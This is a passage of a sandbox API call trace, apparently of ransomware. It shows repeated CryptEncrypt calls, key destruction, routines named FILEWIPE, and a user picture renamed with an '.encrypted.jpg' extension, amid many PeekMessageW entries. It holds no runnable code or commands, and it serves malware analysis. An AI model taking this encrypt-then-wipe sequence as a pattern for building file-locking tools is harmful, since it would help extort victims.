wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.938] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x12e22, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x12e30) returned 1 [0028.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.938] CharLowerBuffW (in: lpsz="byte[77361]", cchLength=0xb | out: lpsz="byte[77361]") returned 0xb [0028.938] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.940] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.941] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.941] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b2ac0*, pdwDataLen=0xe8f3dfdf68*=0x12e22, dwBufLen=0x12e30 | out: pbData=0xe8f43b2ac0*, pdwDataLen=0xe8f3dfdf68*=0x12e30) returned 1 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.941] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.941] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.941] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.946] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.947] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.948] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.948] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.948] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.948] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.948] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.949] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.949] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.949] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.949] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.949] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.949] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.950] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.950] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.950] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.950] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0028.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.950] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.950] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.950] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.950] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.952] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.954] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.957] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.957] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.957] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.957] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.957] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.957] CharLowerBuffW (in: lpsz="byte[77346]", cchLength=0xb | out: lpsz="byte[77346]") returned 0xb [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.958] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.958] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.958] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.959] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.959] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.960] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.960] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.961] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.961] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.961] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.961] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10050) returned 1 [0028.961] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.961] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.961] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.961] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2742, lpOverlapped=0x0) returned 1 [0028.962] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.962] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2742, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.962] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10050) returned 1 [0028.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.encrypted.jpg\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 